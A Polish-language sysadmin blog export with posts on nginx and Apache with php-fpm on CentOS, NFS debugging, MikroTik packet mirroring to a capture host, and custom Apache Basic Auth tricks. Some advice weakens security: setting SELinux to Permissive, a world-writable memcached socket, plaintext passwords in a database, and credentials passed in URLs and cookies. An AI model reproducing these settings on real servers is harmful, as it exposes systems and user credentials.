<i>--- a/koan/app.py<br />+++ b/koan/app.py<br />@@ -629,13 +629,9 @@<br /> if not os.path.exists("/usr/bin/qemu-img"):<br /> raise InfoException("qemu package needs to be installed")<br /> # is libvirt new enough?<br />- # Note: in some newer distros (like Fedora 19) the python-virtinst package has been<br />- # subsumed into virt-install. If we don't have one check to see if we have the other.<br />- rc, version_str = utils.subprocess_get_response(shlex.split('rpm -q virt-install'), True)<br />- if rc != 0:<br />- rc, version_str = utils.subprocess_get_response(shlex.split('rpm -q python-virtinst'), True)<br />- if rc != 0 or version_str.find("virtinst-0.1") != -1 or version_str.find("virtinst-0.0") != -1:<br />- raise InfoException("need python-virtinst >= 0.2 or virt-install package to do installs for qemu/kvm (depending on your OS)")<br />+ rc, version_str = utils.subprocess_get_response(shlex.split('/usr/bin/virt-install --version'), True)<br />+ if rc != 0 or re.match('^0\.[01].*',version_str):<br />+ raise InfoException("need python-virtinst >= 0.2 or virt-install package to do installs for qemu/kvm (depending on your OS)")<br /><br /> # for vmware<br /> if self.virt_type == "vmware" or self.virt_type == "vmwarew":</i><br />
<br />
<br />adrbhttp://www.blogger.com/profile/11509215761138128064noreply@blogger.comtag:blogger.com,1999:blog-2712483289766803032.post-15362134576361140912013-06-10T17:54:00.002+02:002014-12-29T21:30:16.906+01:00Konfiguracja Nginx z php-fpm na CentOS<br />
Kontynuując temat z poprzedniego wpisu, tym razem podobna konfiguracja ale oparta o serwer Nginx - konfiguracje php-fpm+apc+memcached zostawiamy bez zmian.<br />
<br />
<a name='more'></a><br /><br />
Na początek musimy ściągnąć i zainstalować paczkę z Nginx - brakuje jej w oficjalnych repozytoriach CentOS. Na szczęście developerzy Nginx udostępniają pakiety rpm (http://wiki.nginx.org/Install). Ściągam najnowszą na tą chwile wersje:<br />
<br />
<br />
# <i><b>wget http://nginx.org/packages/centos/6/x86_64/RPMS/nginx-1.4.1-1.el6.ngx.x86_64.rpm</b></i><br />
# <i><b>yum install nginx-1.4.1-1.el6.ngx.x86_64.rpm</b></i><br />
<br />
Zakomentowujemy domyślną konfiguracje:<br />
<br />
# <i><b>cd /etc/nginx/conf.d</b></i><br />
# <i><b>sed -e 's/\(.*\)/\#\1/' -i default.conf</b></i><br />
<br />
Zawartość naszego pliku konfiguracyjnego <i>/etc/nginx/conf.d/test.pnet.conf</i> :<br />
<br />
<span style="font-size: x-small;"><i>server {<br /> listen 80;<br /> server_name test.pnet;<br /><br /> charset utf8;<br /> access_log /var/log/nginx/test.pnet_access.log;<br /> error_log /var/log/nginx/test.pnet_error.log;<br /><br /> root /var/www/test.pnet;<br /> index index.php;<br /><br /> location ~* \.php$ {<br /> try_files $uri /index.php;<br /> fastcgi_index index.php;<br /> fastcgi_intercept_errors on;<br /> fastcgi_pass unix:/var/run/php-fpm/test.pnet_fpm.sock;<br /> include fastcgi_params;<br /> fastcgi_param SCRIPT_FILENAME $document_root$fastcgi_script_name;<br /> fastcgi_param SCRIPT_NAME $fastcgi_script_name;<br /> }<br /><br /> # deny access to .htaccess files, if Apache's document root<br /> # concurs with nginx's one<br /> #<br /> location ~ /\.ht {<br /> deny all;<br /> }<br />}</i></span><br />
<br />
Prawie zapomniałem - w php-fpm trzeba zmienić uprawnienia do gniazda, tak by serwer Nginx mógł pisać i czytać do niego.<br />
<br />
<br />adrbhttp://www.blogger.com/profile/11509215761138128064noreply@blogger.comtag:blogger.com,1999:blog-2712483289766803032.post-48134945511925574592013-06-09T20:57:00.001+02:002014-12-29T21:30:35.645+01:00Konfiguracja Apache z php-fpm na CentOS<br />
Zapewne większość osób siedząca choć trochę w IT miała styk z PHP - ma sporo zarówno zalet jak i wad. By "dobrze" pisać w PHP trzeba mieć już trochę doświadczenia, z czego wiele osób nie zdaje sobie sprawy. Na pewno jest to coś, co każdy początkujący webmaster przerabiał instalując serwer Apache wraz z mod_php. Taka konfiguracja jest ekstremalnie prosta, oraz oczywiście niewydajna przy zastosowaniach bardziej poważnych. Czemu tak jest, to temat na inną okazje.<br />
<br />
<a name='more'></a><br /><br />
Faktem jest, że przez wiele lat z powodu słabej wydajności i dużego zapotrzebowania na pamięć konfiguracji Apache+mod_php, bardzo często używany był trochę inny zestaw, czyli Apache+mod_fastcgi+php-cgi. Natomiast ostatnio pojawił się nowy gracz - php-fpm.<br />
<br />
W skrócie, php-fpm umożliwia między innymi całkowite rozdzielenie aplikacji PHP od serwera www (dzięki czemu nginx+php-fpm zdobywa rzesze fanów), mniejszy narzut na pamięć w porównaniu do mod_fastcgi+php-cgi (to zależy od konfiguracji, ale zwykle tak) oraz o wiele łatwiejszą i elastyczniejszą konfiguracje.<br />
<br />
To co dzisiaj zrobimy to konfiguracja wydajnego serwera dla aplikacji PHP opartego o zestaw Apache+mod_fastcgi+php-fpm+apc+memcache w oparciu o system CentOS 6.4.<br />
<br />
<div style="text-align: center;">
<u><b><span style="font-size: large;">Zaczynamy</span></b></u></div>
<br />
Ponieważ mod_fastcgi nie ma w standardowych repozytoriach CentOS, zainstalujemy go z repozytorium RPMforge <br />
<br />
# <i><b>wget http://pkgs.repoforge.org/rpmforge-release/rpmforge-release-0.5.3-1.el6.rf.x86_64.rpm</b></i><br />
# <i><b>yum install rpmforge-release-0.5.3-1.el6.rf.x86_64.rpm</b></i><br />
# <i><b>yum install httpd mod_fastcgi php php-fpm memcached php-pecl-memcache php-pecl-apc</b></i><br />
<br />
Ważna rzecz, to wyłącznie mod_php, edytujemy plik <i>/etc/httpd/conf.d/php.conf</i> i zakomentowujemy linie ładujące moduł mod_php:<br />
<br />
<span style="font-size: x-small;"><i>#<IfModule prefork.c><br /># LoadModule php5_module modules/libphp5.so<br />#</IfModule><br />#<IfModule worker.c><br /># LoadModule php5_module modules/libphp5-zts.so<br />#</IfModule></i></span><br />
<br />
Resztę pliku zostawiamy bez zmian. Jeżeli mamy dedykowaną maszynę pod nasz serwis to nie mamy również potrzeby używania suexec, ustawiamy więc "FastCgiWrapper Off" w pliku <i>/etc/httpd/conf.d/fastcgi.conf</i>. Ostatnia ważna rzecz to włączenie modułu mpm_worker poprzez odkomentowanie odpowiedniej linii w pliku <i>/etc/sysconfig/httpd</i>.<br />
<br />
Tworzymy virtual host dla naszego testowego serwisu - nazwiemy go <i>test.pnet</i>. Zawartość pliku <i>/etc/httpd/conf.d/test.pnet.conf</i><br />
<br />
<span style="font-size: x-small;"><i><VirtualHost *:80><br /><br /> ServerAdmin iz0@o2.pl<br /> ServerName test.pnet<br /> ServerAlias *.test.pnet<br /> DocumentRoot /var/www/test.pnet<br /> ErrorLog logs/test.pnet-error.log<br /> CustomLog logs/test.pnet-access.log combined<br /> LogLevel warn<br /><br /> <Directory /var/www/test.pnet><br /> Options FollowSymLinks Indexes +ExecCGI<br /> AllowOverride None<br /> Order deny,allow<br /> Allow from all<br /> </Directory></i></span><br />
<span style="font-size: x-small;"><i><br /> Alias /php5.fastcgi /var/www/fastcgi/php5.fastcgi<br /> FastCGIExternalServer /var/www/fastcgi/php5.fastcgi -socket /var/run/php-fpm/test.pnet_fpm.sock -pass-header Authorization<br /><br /> AddHandler php5-script .php<br /> Action php5-script /php5.fastcgi virtual<br /><br /> <Location /php-fpm><br /> Options +ExecCGI<br /> SetHandler php5-script<br /> </Location><br /></VirtualHost></i></span><br />
<br />
Bystre oko, zauważy że używam gniazda plikowego, zamiast połączenia TCP. Gniazda plikowe, (przynajmniej w teorii) mają mniejszy
narzut na obsługę jak połączenia TCP, ale co
ważniejsze ustawiając odpowiednio uprawnienia na pliku <i>/var/run/php-fpm/test.pnet_fpm.sock </i>chronimy naszą aplikacje przed intruzami zarówno z zewnątrz maszyny, jak i wewnątrz.<br />
<br />
Dodatkowo,
dyrektywa AllowOverride zawsze powinna być ustawiona na None - chyba że
mamy bardzo ważny powód by poświęcić wydajność serwera (nawet do 50%) na rzecz wygody użytkowników.<br />
<br />
Powinniśmy również przestawić tryb selinux na mniej restrykcyjną politykę przy pomocy polecenia "<i>setenforce Permissive</i>"
(domyślnie ustawiona jest w trybie Enforcing). Jeżeli tego nie zrobimy,
to prawdopodobnie selinux będzie powodować problemy typu odmowa
dostępu, np:<br />
<br />
<i> (13)Permission denied: FastCGI: failed to connect to server "/var/www/fastcgi/php5.fastcgi": connect() failed</i><br />
<br />
Tworzymy teraz katalog domowy aplikacji /var/www/test.pnet:<br />
<br />
# <i><b>mkdir /var/www/test.pnet</b></i><br />
# <i><b>cat > /var/www/test.pnet/index.php</b></i><br />
<i><?php<br />phpinfo();<br />phpinfo(INFO_MODULES);<br />?><br />^C</i><br />
# <i><b>mkdir /var/www/test.pnet/apc</b></i><br />
# <i><b>cp /usr/share/doc/php-pecl-apc-3.1.9/apc.php /var/www/test.pnet/apc/index.php</b></i><br />
<br />
By przetestować konfiguracje utworzyliśmy plik index.php wywołujący funkcje phpinfo. Dodatkowo skopiowaliśmy skrypt pokazujący statystyki APC. Gdy już całość będzie działać skopiujemy do katalogu <i>/var/www/test.pnet</i> naszą aplikacje.<br />
<br />
Od strony Apache, to już wszystko. Teraz szybka konfiguracja php-fpm:<br />
<br />
# <i><b>cd /etc/php-fpm.d</b></i><br />
# <i><b>mv www.conf test.pnet.conf</b></i><br />
<br />
W pliku konfiguracyjnym jest sporo komentarzy, które dosyć dobrze opisują znaczenie samych zmiennych. By się specjalnie nie powtarzać podaje poniżej same przykładowe ustawienia:<br />
<br />
<span style="font-size: x-small;"><i>[test.pnet]<br />listen=/var/run/php-fpm/test.pnet_fpm.sock</i></span><br />
<span style="font-size: x-small;"><i>listen.owner = apache<br />listen.group = apache<br />listen.mode = 0660<br /><br />user = apache<br />group = apache<br /><br />pm = dynamic<br />pm.max_children = 15<br />pm.start_servers = 3<br />pm.min_spare_servers = 3<br />pm.max_spare_servers = 7<br />pm.max_requests = 5000<br />pm.status_path = /php-fpm/status<br /><br />ping.path = /php-fpm/ping<br />request_terminate_timeout = 300s<br />request_slowlog_timeout = 240s<br /><br />slowlog = /var/log/php-fpm/test.pnet-slow.log<br /> </i></span><br />
<span style="font-size: x-small;"><i>rlimit_files = 10240<br /> </i></span><br />
<span style="font-size: x-small;"><i>chdir = /var/www/test.pnet<br /><br />php_admin_value[error_log] = /var/log/php-fpm/test.pnet-error.log<br />php_admin_flag[log_errors] = on<br />php_value[session.save_handler] = memcache<br />php_value[session.save_path] = "unix:/var/run/memcached/php_sesscion.sock"</i></span><br />
<span style="font-size: x-small;"><br /></span>
Jak widać do przechowywania sesji używamy memcached poprzez gniazdo plikowe <i>/var/run/memcached/php_sesscion.sock</i> - z tych samych powodów co wcześniej. Konfiguracja mamcached w /etc/sysconfig/memcached:<br />
<br />
<span style="font-size: x-small;"><i>PORT="11211"<br />USER="memcached"<br />MAXCONN="1024"<br />CACHESIZE="64"<br />OPTIONS=" -s /var/run/memcached/php_sesscion.sock -a 666 "</i></span><br />
<span style="font-size: x-small;"><br /></span>
Nie pozostaje nam już nic innego jak uruchomić wszystkie usługi:<br />
<br />
# <i><b>service memcached start</b></i><br />
# <i><b>service php-fpm start</b></i><br />
# <i><b>service httpd start</b></i><br />
<br />
<div style="text-align: center;">
<u><b><span style="font-size: large;">Parę uwag końcowych</span></b></u></div>
<br />
Jeżeli sprawdzicie listę modułów Apache poleceniem "<i>apachectl -t -D DUMP_MODULES</i>" okaże się, że sporo z nich jest nam niepotrzebnych. Warto wyłączyć niepotrzebne moduły jeżeli zależy nam na ograniczeniu zużycia pamięci oraz wydajności - szybszym tworzeniu nowych procesów. Szczególnie jeżeli używamy Apache z mod_prefork - przy konfiguracji opisanej tutaj zalecany jest mod_worker.<br />
<br />
Sprawdzić status serwisu php-fpm możemy poprzez uri /php-fpm/status, a memcache przy pomocy polecenia:<br />
<br />
# <i><b>echo stats | nc -U /var/run/memcached/php_sesscion.sock</b></i><br />
<br />
<br />
<br />adrbhttp://www.blogger.com/profile/11509215761138128064noreply@blogger.comtag:blogger.com,1999:blog-2712483289766803032.post-81087997123527298152013-06-01T18:17:00.001+02:002013-06-01T18:19:00.186+02:00Debugowanie serwera NFS<br />
Czy pamiętacie pierwsze wersje NFS-a? Miały sporo błędów, z których najgorszy był taki który w losowym momencie potrafił zawiesić jądro. Wyrobiło to złą opinie o NFS, ale na szczęście te czasy odeszły już do lamusa.<br />
<br />
Inny problem przy współdzielonym systemie plików (pomiędzy wiele maszyn) jest taki, że serwer NFS loguje bardzo mało informacji. Nie dowiemy się z niego która maszyna jakie operacje wykonywała.<br />
<br />
Poziom logowania zwiększamy np takimi poleceniami:<br />
<br />
# <i><b>echo $(( 0x10 | 0x0400 )) > /proc/sys/sunrpc/nfsd_debug</b></i><br />
# <i><b>echo $(( 0x0008 | 0x0100 )) > /proc/sys/sunrpc/rpc_debug</b></i><br />
<br />
Wyłączamy:<br />
<br />
# <i><b>echo 0 > /proc/sys/sunrpc/nfsd_debug</b></i><br />
# <i><b>echo 0 > /proc/sys/sunrpc/rpc_debug</b></i><br />
<br />
Po włączeniu logowania jądro zapisuje komplet informacji (zazwyczaj do /var/log/messages), czyli wszystkie wywołania systemowe (wykonywane poprzez RPC) oraz adresy ip klientów.<br />
<br />
Przy takim poziomie logowania, log może oczywiście bardzo szybko przyrastać obciążając dodatkowo maszynę pod względem operacji I/O ;)<br />
<br />adrbhttp://www.blogger.com/profile/11509215761138128064noreply@blogger.comtag:blogger.com,1999:blog-2712483289766803032.post-79247300210080256742013-05-26T17:37:00.000+02:002013-05-26T17:38:28.910+02:00MikroTik Network Sniffing Snifowaliście kiedyś połączenia w sieci gdzie role bramki pełni MikroTik? Mi się ostatnio zdarzyło, więc kilka informacji ku pamięci ;]<br />
<br />
Sposobów jest kilka, jednak najlepszy i najbardziej godny polecenia jest tylko jeden. W skrócie, chodzi o to, że ruter wysyła pod wskazany adres ip (port 37008) wybrane pakiety, osadzając je w protokole TZSP (TaZmen Sniffer Protocol). Konfiguracja na MikroTik-u wygląda tak:<br />
<br />
> <i><b>tool sniffer set streaming-server=10.1.1.5 streaming-enabled=yes filter-address1=8.8.8.8/32:21-22 filter-address2=10.0.0.0/8:0-65535 interface=all</b></i><br />
> <i><b>tool sniffer start</b></i><br />
<br />
Czyli chcemy by podsłuchane pakiety były wysyłane do hosta 10.1.1.5 i dodatkowo, interesuje nas ruch wychodzący z podsieci 10.0.0.0/8 do hosta 8.8.8.8 na porty od 21 do 22.<br />
<br />
Drobny problem polega na tym, że tcpdump nie obsługuje protokołu TZSP a nie zawsze mamy możliwość odpalenia np Wireshark-a (czyli czegoś okienkowego) w danej podsieci (np. jesteśmy podłączeni via vpn i nie ma możliwości nawiązania do naszej maszyny bezpośrednio połączenia). Mimo wszytko możemy użyć tutaj tcpdump-a by zapisać złapane pakiety do pliku, np:<br />
<br />
# <i><b>tcpdump -i eth0 -U -w /root/packet-dump.pcap 'udp and port 37008'</b></i><br />
<br />
Następnie kopiujemy plik i otwieramy go w Wireshark-u, który bez problemu czyta protokół TZSP. adrbhttp://www.blogger.com/profile/11509215761138128064noreply@blogger.comtag:blogger.com,1999:blog-2712483289766803032.post-86725399676119977752012-07-25T19:27:00.000+02:002014-12-29T21:31:11.436+01:00Apache Basic Auth jakiego nie znacie!<br />
Basic Auth w protokole HTTP jest to najprostszy i zapewne najszerzej wykorzystywany rodzaj autoryzacji. O bezpieczeństwie tego typu autoryzacji możemy mówić dopiero wtedy gdy używamy szyfrowanego https, ale dla nas nie ma to w tym momencie zanczenia :) Basic Auth konfigurujemy w apache bardzo łatwo np:<br />
<br />
<a name='more'></a><br /><br />
<i> <Location /secure><br /> AuthType Basic<br /> AuthName "Log in please."</i><br />
<i> AuthUserFile /etc/apache2/secret/htpass</i><br />
<i> Require valid-user</i><i> </i><br />
<i> </Location></i><br />
<br />
Do wskazanego pliku dodajemy użytkowników przy pomocy polecenia <i>htpasswd</i>. Od tej pory gdy ktoś będzie wywoływał jakiekolwiek zapytanie do naszego serwera rozpoczynające się od /secure, serwer wyśle mu w odpowiedzi komunikat <i>401 - Authorization Required</i>. Nasza przeglądarka wyświetli nam okienko, gdzie wpiszemy nazwę użytkownika oraz hasło. Następnie ustawi nagłówek <i>Authorization</i> w zapytaniu http na wartość np taka:<br />
<br />
<i> GET /secure HTTP/1.1</i><br />
<i> Host: localhost</i><br />
<i> <b>Authorization: Basic dGVzdDp0ZXN0</b></i><br />
<br />
Hasło i nazwa użytkownika nie jest w żaden sposób zaszyfrowane. Całość jest tylko przekształcona przy pomocy algorytmu base64 - powszechnie używanego do kodowania tekstów zawierających znaki z poza tablicy ASCII. Poniżej prosty przykład, tworzenia użytkownika oraz zakodowania go w base64:<br />
<br />
<i> </i><b>$ htpasswd -bn test test</b><br />
<i> </i><i>test:0C3DJcaJJjJFI</i><br />
<i> </i><b>$ echo -n "test:test" | openssl enc -base64</b><br />
<i> dGVzdDp0ZXN0</i><br />
<br />
Co prawda hasło w pliku nie jest podawane w formie jawnej tylko funkcji skrótu crypt (lub md5 czy sha1), jednak w samym nagłówku już nie. Inaczej jest przy autoryzacji typu Digest, nie o niej jednak mowa - istnieje kilka odmian a konfiguracje je wykorzystujące należą raczej do rzadkości.<br />
<br />
Wiemy już wszystko co powinniśmy i jak do tej pory żadnych rewelacji, pytanie więc czemu tytuł tego posta brzmi <i>"Apache Basic Auth jakiego nie znacie!"</i>?<br />
<br />
Ponieważ Basic Auth można wykorzystać do o wiele bardziej zaawansowanej konfiguracji, np:<br />
<br />
<i> </i>1.<i> </i>Uwierzytelnić się przy pomocy ciasteczka lub zapytania url<br />
<i> </i><i> </i>- bez użycia konstrukcji <i></i>http://user:pass@host<br />
<br />
<i> </i>2. Uwierzytelnić jedną sesje pomiędzy wieloma różnymi serwerami apache<br />
<br />
<i> </i>3. Zdefiniować gdzie dokładnie użytkownik ma mieć dostęp, określając pojedynczy plik lub głęboko <i></i>zagnieżdżoną lokacje<br />
<br />
Tak naprawdę to dopiero wierzchołek góry lodowej. Gdy przeczytasz ten artykuł do końca, będziesz w stanie określić np. okres ważności hasła - być może na kilka sposobów :)<br />
<br />
Zaczynamy od sprawy podstawowej, czyli autoryzacja przy pomocy ciasteczka lub zapytania url. Wiemy jak wygląda nagłówek <i>Authorization</i>, wiemy jak wygenerować jego treść, więc nic prostrzego jak go dodać do zapytania. Najpierw wyciągamy wartość z url-a lub ciasteczka i zapisujemy w zmiennej środowiskowej STOKEN:<br />
<br />
<i> RewriteCond %{HTTP:Cookie} stoken\=([0-9a-z\=]+)$ [NC,OR]<br /> RewriteCond %{QUERY_STRING} stoken\=([0-9a-z\=]+)$ [NC]<br /> RewriteRule ^/secure - [env=STOKEN:%1]</i><br />
<br />
Teraz wystarczy już tylko ustawić nagłówek, wstawiając przy okazji ciasteczko - linki na stronie nie będą zawierały parametru stoken w url:<br />
<br />
<i> RequestHeader set Authorization "Basic %{STOKEN}e" env=STOKEN</i><br />
<i> Header set Set-Cookie "stoken=%{STOKEN}e;" env=STOKEN</i><i> </i><br />
<br />
Przetestować konfiguracje możemy przy pomocy polecenia<br />
<br />
<b>$ curl http://localhost/?stoken=</b><b>dGVzdDp0ZXN0</b><br />
<br />
Oczywiście wynik testu będzie negatywny, ponieważ ustawiliśmy nagłówek w zapytaniu które już wpadło do serwera - musimy więc przesłać je ponownie i wykorzystamy do tego parametr proxy [P], całość wygląda tak:<br />
<br />
<i> RewriteCond %{HTTP:Authorization} !^$<br /> RewriteRule ^/auth/secure - [S=3] # jump, omijamy ustawianie nagłówków itp --></i><br />
<br />
<i> RewriteCond %{HTTP:Cookie} stoken\=([0-9a-z\=]+)$ [NC,OR]<br /> RewriteCond %{QUERY_STRING} stoken\=([0-9a-z\=]+)$ [NC]<br /> RewriteRule ^/secure - [env=STOKEN:%1]<br /><br /> RewriteCond %{ENV:STOKEN} ^$<br /> RewriteRule ^/secure - [F,L] # zabraniamy dostępu jeżeli nie został ustawiony stoken <br /><br /> RequestHeader set Authorization "Basic %{STOKEN}e" env=STOKEN<br /> Header set Set-Cookie "stoken=%{STOKEN}e;" env=STOKEN<br /> RewriteCond %{ENV:STOKEN} !^$<br /> RewriteRule ^(.*)$ http://localhost/auth$1 [P]</i><br />
<br />
<i> </i><i># --> jump</i><br />
<i> <Location /auth/secure><br /> AuthType Basic<br /> AuthName "Log in please."</i><br />
<i> AuthUserFile /etc/apache2/secret/htpass</i><br />
<i> Require valid-user</i><br />
<i> </i><br />
<i> </Location></i><br />
<br />
Pojawia się jednak problem w przypadku podania złego hasła. Serwer odpowie 401 a przeglądarka wyświetli nam okienko z prośbą o hasło, gdy tymczasem my wolimy od razu zgłosić błąd <i>403 - Forbidden</i>. Problem ten można rozwiązać przy pomocy dyrektywy ErrorDocument przekierowującej do dokumentu dla którego dostęp jest zabroniony :)<br />
<br />
<Location /auth/secure><br />
AuthType Basic<br />
AuthName "Log in please."<br />
AuthUserFile /etc/apache2/secret/htpass<br />
Require valid-user<br />
<br />
ErrorDocument 401 /secure/noauth<br />
ErrorDocument 403 "Access Denied!"<br />
</Location><br />
<Location /secure><br />
ErrorDocument 403 "Access Denied!"<br />
</Location><br />
<br />
Jeżeli chodzi o punkt pierwszy to by było wszystko. Teraz punkt drugi, czyli - jak uwierzytelnić w ten sposób jedną sesje na wielu serwerach? Aplikacja wpuszczająca do systemu musi zapisać nazwę użytkownika i hasło w takim miejscu do którego dostęp będzie miał serwer apache, czyli do memcache, bazy ldap lub tak jak w naszym przypadku mysql. Baze możemy przygotować przy pomocy sekwencji poleceń:<br />
<br />
create database httpd_auth;<br />
create user apache@localhost identified by '12345';<br />
grant select on httpd_auth.* to apache@localhost;<br />
use httpd_auth;<br />
CREATE TABLE `users` (<br />
`uid` int(10) unsigned NOT NULL AUTO_INCREMENT,<br />
`username` char(255) NOT NULL,<br />
`pass` char(64) NOT NULL,<br />
`servername` char(128) NOT NULL,<br />
PRIMARY KEY (`uid`),<br />
UNIQUE KEY (`username`),<br />
UNIQUE KEY (`servername`) <br />
) ENGINE=InnoDB AUTO_INCREMENT=2 DEFAULT CHARSET=utf8;<br />
<br />
Dodaliśmy więc tabele httpd_auth.users oraz użytkownika apache który ma możliwość odczytania z niej danych. W tabeli users możemy również dodać kolumny <i>creation_timestamp</i>, <i>expire_after</i> określające okres ważności wpisu. Hasło wstawiane do kolumny pass jest zapisane otwartym tekstem - hash otrzymujemy wykonując funkcje <i>encrypt</i>. Jawne hasło jest potrzebne do generowania poprawnych wartości dla stoken. Konfiguracje Basic Auth w apachu zmieniamy na podobną do:<br />
<br />
<i> DBDriver mysql<br /> DBDParams "host=localhost port=3306 dbname=httpd_auth user=apache pass=12345"</i><br />
<i><br /> <Location /auth/secure><br /> AuthType Basic<br /> AuthName "Log in please."<br /> AuthBasicProvider dbd<br /> AuthDBDUserPWQuery "SELECT ENCRYPT(pass) as pass FROM users WHERE username = %s and servername=localhost"<br /> Require valid-user<br /><br /> ErrorDocument 401 /secure/noauth<br /> ErrorDocument 403 "Access Denied!"<br /> </Location><br /> <Location /secure><br /> ErrorDocument 403 "Access Denied!"<br /> </Location></i><br />
<br />
Jak widać powyżej mamy możliwość zdefiniowania zapytania wykonywanego do bazy w celu autoryzacji użytkownika. Dzięki temu wykorzystanie kolumn <i>creation_timestamp</i>, <i>expire_after </i>jest już banalnie proste :) Dodatkowo wykonujemy w locie skrót hasła funkcją <i>encrypt</i> i nie będzie to miało wpływu na obciążenie bazy jeżeli tylko włączymy jej cache zapytań - powinniśmy to robić przy każdej instalacji.<br />
<br />
Na koniec zostało nam najtrudniejsze - jak uściślić dostęp do lokalizacji bardziej zagnieżdżonych, czyli np http://localhost/secure/files/user/?<br />
<br />
Musimy mieć możliwość zbadania w bazie czy zapytanie GET zawiera dozwoloną ścieżkę. Dozwoloną ścieżkę w konfiguracji apacha określimy jako SCONTEXT (ang. <i>security context</i>). W tym celu możemy wykorzystać nazwę użytkownika, ponieważ do jej rozkodowanej postaci mamy dostęp już z mod_rewrite dzięki zmiennej REMOTE_USER. Zmieniamy więc format z user:pass na uid@scontext:pass. W bazie użytkownika możemy dodać przy pomocy zapytania:<br />
<br />
<i> insert into users set username=CONCAT(LAST_INSERT_ID(),"@secure/user/"), pass='password', servername='localhost';</i><br />
<br />
Nazwa użytkownika powinna być unikalna, dlatego tutaj posługuję się funkcją <i>LAST_INSERT_ID</i>. Nie ma znaczenia jaką nazwę użytkownika wybierzemy, ważne by się nie powtarzały. Teraz generujemy token zakodowany w base64:<br />
<br />
<i> </i><b>$ echo -n "5@secure/user/:password" | openssl enc -base64</b><br />
<i> </i><i>NUBzZWN1cmUvdXNlci86cGFzc3dvcmQ=</i><br />
<br />
W ten sposób zdefiniowaliśmy, że użytkownik będzie miał dostęp do adresu http://localhost/secure/user i wszystkiego poniżej, ale już zapytanie do http://localhost/secure powinno zwrócić mu błąd 403. Jak to osiągnąć?<br />
<br />
Musimy przyrównać scieżkę z zapytania do tej części nazwy użytkownika która jest ograniczona małpką i dwukropkiem. Nie jest to takie proste jak się wydaje - mod_rewrite nie pozwala na porównanie dwóch zmiennych środowiskowych, a jedynie zmiennej do wyrażenia regularnego. Sztuczka polega więc na stworzeniu regexpa który zawiera odwołanie wsteczne do siebie. Jest to możliwe tylko na systemach zgodnych z POSIX. Na Windowsie raczej nam się to nie uda, ponieważ jego biblioteki regexp-ów nie zawierają takich konstrukcji.<br />
<br />
O co tutaj chodzi dokładnie? Ano chodzi o sklejenie dwóch ciągów i sprawdzenie czy odwołanie wsteczne zostanie poprawnie przypasowane, np: "a<>a" ~= "(.*)<>\1". Odwołanie wsteczne \1 jest rozwiązywane na zawartość objętą nawiasem. W praktyce u nas będzie to wyglądać tak:<br />
<br />
<i> # --> jump<br /> RewriteRule (/auth)?/secure/noauth /secure/noauth [F,L]<br /><br /> RewriteCond %{IS_SUBREQ} =true<br /> RewriteRule .* - [L]<br /><br /> RewriteRule ^/auth/(.+/).*$ - [env=SCONTEXT:$1]<br /> RewriteCond %{LA-U:REMOTE_USER}<>%{ENV:SCONTEXT} !^[0-9a-z]+@(.+)<>\1.*$ [NC]<br /> RewriteRule ^/auth/secure - [F,L] </i><br />
<br />
Nazwę, użytkownika rozwiązujemy wykonując podzapytanie przy pomocy <i>%{LA-U:REMOTE_USER}</i> i musimy to uwzględnić dodając warunek sprawdzający wartość zmiennej <i>%{IS_SUBREQ}.</i><br />
<br />
I to wszystko na dzisiaj moi drodzy. Pytanie po co się tak męczyć, może jednak lepiej zrobić to zwyczajnym skryptem php? ;]<i> </i>Jeżeli ktoś ma ochote, może przetestować wydajność obu rozwiązań. Prosiłbym o informacje jak wypadły testy :)<br />
<br />adrbhttp://www.blogger.com/profile/11509215761138128064noreply@blogger.com